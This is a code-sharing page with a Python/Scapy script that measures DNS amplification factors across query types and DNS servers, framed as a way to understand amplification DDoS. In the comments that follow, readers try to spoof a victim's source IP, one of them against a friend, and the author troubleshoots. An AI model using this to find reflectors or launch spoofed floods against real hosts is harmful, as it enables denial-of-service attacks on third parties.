Better understanding DNS Amplification DDoS attacks through Python and Scapy.

dns_amplification.py

# Imports
from scapy.all import *
from pprint import pprint
import operator

# Parameters
interface = "eth0"                      # Interface you want to use
dns_source = "local-ip"                 # IP of that interface
dns_destination = ["ip1","ip2","ip3"]   # List of DNS Server IPs

time_to_live = 128                                                                 # IP TTL 
query_name = "google.com"                                                          # DNS Query Name
query_type = ["ANY", "A","AAAA","CNAME","MX","NS","PTR","CERT","SRV","TXT", "SOA"] # DNS Query Types

# Initialise variables
results = []
packet_number=0

# Loop through all query types then all DNS servers
for i in range(0,len(query_type)):
    for j in range(0, len(dns_destination)):
        packet_number += 1

        # Craft the DNS query packet with scapy
        packet = IP(src=dns_source, dst=dns_destination[j], ttl=time_to_live) / UDP() / DNS(rd=1, qd=DNSQR(qname=query_name, qtype=query_type[i]))
        
        # Sending the packet
        try:
            query = sr1(packet,iface=interface,verbose=False, timeout=8)
            print("Packet #{} sent!".format(packet_number))
        except:
            print("Error sending packet #{}".format(packet_number))
        
        # Creating dictionary with received information
        try:
            result_dict = {
                'dns_destination':dns_destination[j],
                'query_type':query_type[i],
                'query_size':len(packet),
                'response_size':len(query),
                'amplification_factor': ( len(query) / len(packet) ),
                'packet_number':packet_number
            }
            results.append(result_dict)
        except:
            pass

# Sort dictionary by the amplification factor
results.sort(key=operator.itemgetter('amplification_factor'),reverse=True)

# Print results
pprint(results)

Thanks bro! It really helped our workgroup ;)

Thanks bro! It really helped our workgroup ;)

Glad to hear it! Thanks

thanks for simple script

Hey this is a great write up, thanks for sharing! Code works great but I'm trying to reproduce the actual attack (on my machines).

When I set the src ip to be my target machine's IP I can see with wire shark that the packets are sent.. but when I sniff for the response on my target machine they never arrive? These packets are being dropped by the DNS server? It's my understanding if I set the src port in the packet as 1337 the DNS server will than attempt to respond with that port, so why am I not getting any response. Any idea what is happening? Thanks!

Hey this is a great write up, thanks for sharing! Code works great but I'm trying to reproduce the actual attack (on my machines).

When I set the src ip to be my target machine's IP I can see with wire shark that the packets are sent.. but when I sniff for the response on my target machine they never arrive? These packets are being dropped by the DNS server? It's my understanding if I set the src port in the packet as 1337 the DNS server will than attempt to respond with that port, so why am I not getting any response. Any idea what is happening? Thanks!

Hard to say without knowing more, what DNS server do you use in your lab? Perhaps the DNS server has some DNS amplification protection or drops packets with non-DNS ports (1337). What does the response look like when you have the same source IP as your machine's and what did you modify in the script? I'll be honest I haven't touched it in a while so I'm not too sure.

Hello, I need to write a scapy script for school that represents a DNS amplification attack. If i put your code in a loop and use the IP address of my friend he doesn't receive anything. As interface I set my WIFI interface and dns source, my friends IP address. I'm interpreting this wrong because my friend doesn't see anything of DNS responses. Could it be my network that blocks this traffic or would it be my code that isn't correct. Has anyone ideas on how to solve this problem?